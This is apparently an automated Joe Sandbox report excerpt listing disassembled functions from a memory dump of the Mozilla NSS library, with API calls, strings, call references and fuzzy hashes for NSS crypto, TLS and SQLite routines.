SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7E58

Part of subcall function 6C6B7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6B91C5), ref: 6C6B78BB
Part of subcall function 6C6B7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6B91C5), ref: 6C6B78FA
Part of subcall function 6C6B7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7930
Part of subcall function 6C6B7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7951
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6B7964
Part of subcall function 6C6B7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C6B797A
Part of subcall function 6C6B7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C6B7988
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C6B7998
Part of subcall function 6C6B7870: free.MOZGLUE(00000000), ref: 6C6B79A7
Part of subcall function 6C6B7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B79BB
Part of subcall function 6C6B7870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6B91C5), ref: 6C6B79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6B7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C6B8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6B8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C6B8093
SECOID_FindOID_Util.NSS3 ref: 6C6B7F29

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B8072
SECOID_FindOID_Util.NSS3 ref: 6C6B80F5

Part of subcall function 6C6BBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C6B800A,00000000,?,00000000,?), ref: 6C6BBC3F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction ID: 160ea4729a07efe57f7b23598f4b0b156b22397a0b5767c37455a3c67114b1ab
Opcode Fuzzy Hash: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction Fuzzy Hash: 8FE1B4716083019FD710CF28C880B5B77E5EF49348F14496DE98AABB61E731EC25CB6A

Function 6C6E3F30 Relevance: 27.4, APIs: 18, Instructions: 411COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000079,?,?,?,?,?,6C6E12C9,?,00000000), ref: 6C6E408E
PR_SetError.NSS3(FFFFE005,00000000,?,00000000), ref: 6C6E40E7
memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C6E411C
HASH_HashBuf.NSS3(00000004,?,?,?,?,?,?,?,00000000), ref: 6C6E412F

Part of subcall function 6C662800: PORT_Alloc_Util.NSS3(00000008), ref: 6C662847
Part of subcall function 6C662800: free.MOZGLUE(00000000), ref: 6C6628D2

Part of subcall function 6C6E04C0: WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C6E461B,-00000004), ref: 6C6E04DF
Part of subcall function 6C6E04C0: PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C6E461B,-00000004), ref: 6C6E0534

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E4197
memcpy.VCRUNTIME140(?,?,00000430,00000000,?,000F4240,00000000), ref: 6C6E41DE
PR_SetError.NSS3(FFFFE005,00000000,?,00000000), ref: 6C6E433C
PR_Now.NSS3(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6E4189

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C6E4263
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000), ref: 6C6E4274
PR_Now.NSS3(?,?,?,?,?,?,?,?,00000000), ref: 6C6E4298
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E42A6
memcpy.VCRUNTIME140(-00000004,?,00000FFC,00000000,?,000F4240,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C6E42F9
memset.VCRUNTIME140(-FFFFEFF4,00000000,00000000,?,00000000), ref: 6C6E4370
memcpy.VCRUNTIME140(?,?,00000020,?,?,?,?,00000000), ref: 6C6E4387
PR_Now.NSS3(?,?,?,?,?,?,?,?,00000000), ref: 6C6E440A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E4418
memcpy.VCRUNTIME140(?,?,000000A4,00000000,?,000F4240,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C6E44D7

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorTime$System$Alloc_FileHashObjectSingleUtilWaitfreememset
String ID:
API String ID: 4224320964-0
Opcode ID: 1a99dc292027c936c0b1f829beaa4970405b94a18db7db2fcaf7da11766a45e9
Instruction ID: 5e4f8a21f695da82546932f823ee1736655368ed778b4176f31b36199798efbd
Opcode Fuzzy Hash: 1a99dc292027c936c0b1f829beaa4970405b94a18db7db2fcaf7da11766a45e9
Instruction Fuzzy Hash: 9C02BCB5A05655DFDB14CF65C984AEAB3F5FF48304F0482AAE84897740E770EA84CF98

Function 6C641C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C641C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C641C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C641CA1
GetLengthSid.ADVAPI32(?), ref: 6C641CA9
malloc.MOZGLUE(00000000), ref: 6C641CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C641CE4
GetLengthSid.ADVAPI32(?), ref: 6C641CEC
malloc.MOZGLUE(00000000), ref: 6C641CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641D0F
CloseHandle.KERNEL32(?), ref: 6C641D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C641D4D
GetLastError.KERNEL32 ref: 6C641D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C641D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C641D7A

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction ID: 889e7f4f19c6208b2f5eaa78cd9e621a07d26bf1b1fbae05392763aab7ae4b2a
Opcode Fuzzy Hash: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction Fuzzy Hash: F23153B1A01218AFEB11AF64DD48BAE7BF8FF49305F044075FA0992250EB315D94CF69

Function 6C643D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C643DFB
__allrem.LIBCMT ref: 6C643EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C643FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C644047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6440DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C64415F
__allrem.LIBCMT ref: 6C64416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C644288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6442AB
__allrem.LIBCMT ref: 6C6442B7

Strings

%03d, xrefs: 6C6442E8
%02d, xrefs: 6C644086
%04d, xrefs: 6C64407B
%lld, xrefs: 6C643FB2

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction ID: f59378010d208610e0fd5f0b141a5aedc8739e4045eb2c189fef57281f03b2e4
Opcode Fuzzy Hash: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction Fuzzy Hash: 09F11271A087409FD715CF38C882BABB7F6AF86348F14CA2DE48597A51EB70D845CB46

Function 6C64EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64EF63

Part of subcall function 6C6587D0: PORT_NewArena_Util.NSS3(00000800,6C64EF74,00000000), ref: 6C6587E8
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C64EF74,00000000), ref: 6C6587FD
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C64F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C64F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C64F374
PL_strcasecmp.NSS3(6C792FD4,?), ref: 6C64F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C64F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C64F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C64F67D
CERT_DestroyName.NSS3(?), ref: 6C64F68B

Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C658338
Part of subcall function 6C658320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C658364
Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C65838E
Part of subcall function 6C658320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6583A5
Part of subcall function 6C658320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6583E3

Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6584D9
Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C658528

Part of subcall function 6C658900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C658955

Strings

", xrefs: 6C64F21B
oid., xrefs: 6C64F2CF
*, xrefs: 6C64F3C6

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction ID: e18ea9ed9a6248c5d47b41839ea4c31155bce88e10ac59415f4bc707a349553f
Opcode Fuzzy Hash: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction Fuzzy Hash: E122167160C3418FD714DE68C4907ABB7E6ABC531CF18CA2EE49587B91E7319805CB9B

Function 6C5F1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5F1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5F1FB7

Strings

sqlite_temp_master, xrefs: 6C5F1C5C
another row available, xrefs: 6C5F2287
no more rows available, xrefs: 6C5F2264
unknown error, xrefs: 6C5F2291
abort due to ROLLBACK, xrefs: 6C5F2223
table, xrefs: 6C5F1C8B
sqlite_master, xrefs: 6C5F1C61
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5F1F83
attached databases must use the same text encoding as main database, xrefs: 6C5F20CA
unsupported file format, xrefs: 6C5F2188

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction ID: dc1ad510cc31742feb499a7abd4afdb76cee612a0da93e9c2a0ada6c17ea11f1
Opcode Fuzzy Hash: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction Fuzzy Hash: 3612D0B16083418FD708CF19C884A5ABBF2BF85318F19896DD9A58BB51D731EC46CF92

Function 6C615F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6C6162F9
BINARY, xrefs: 6C618708, 6C618737, 6C6187B8
NOCASE, xrefs: 6C618703
sub-select returns %d columns - expected %d, xrefs: 6C61805F
u, xrefs: 6C6181DA
ON clause references tables to its right, xrefs: 6C616BEC
2, xrefs: 6C6165B4
-, xrefs: 6C616228

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction ID: 38c0cadda4c5b945b9cf3d4fe8c143e571acde7e5c9caab0efc9128707572667
Opcode Fuzzy Hash: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction Fuzzy Hash: 8D43517460C3418FD304CF2DC490A5AB7E2FF89319F15866DE8998BB52D731E846CB96

Function 6C6BEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C6BF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C78218C), ref: 6C6BF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C6BF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C6BF210

Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C6652F5
Part of subcall function 6C6652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C66530F
Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C665326
Part of subcall function 6C6652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C665340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF227

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C6BF23E

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C6BF3A8

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF3B3

Part of subcall function 6C662D20: PK11_DestroyObject.NSS3(?,?), ref: 6C662D3C
Part of subcall function 6C662D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C662D5F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction ID: 80cf96fd84a0ed2bac78895a38815606644b0437fb28ebfd1a2cf66311502bd0
Opcode Fuzzy Hash: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction Fuzzy Hash: 9AD180B9E016059FDB10CF99D880A9EB7F5EF48308F148429D915B7721EB31E816CB99

Function 6C6EDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE33

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C6ED000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6EDE74,6C6C7FFA,00000002,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002), ref: 6C6ED008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6EDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE121
PK11_FreeSymKey.NSS3(?), ref: 6C6EE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6EE195
PR_GetCurrentThread.NSS3 ref: 6C6EE1FC

Part of subcall function 6C6E2460: PR_SetError.NSS3(FFFFE005,00000000,6C787379,00000002,?), ref: 6C6E2493

Strings

key, xrefs: 6C6EE046
early application data, xrefs: 6C6EDFC9
handshake data, xrefs: 6C6EDFF7
application data, xrefs: 6C6EDFE0

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction ID: fd703863d4fb07b108205b5ff99832ef7ec28ef4d0d96e680d82ffdc432529d2
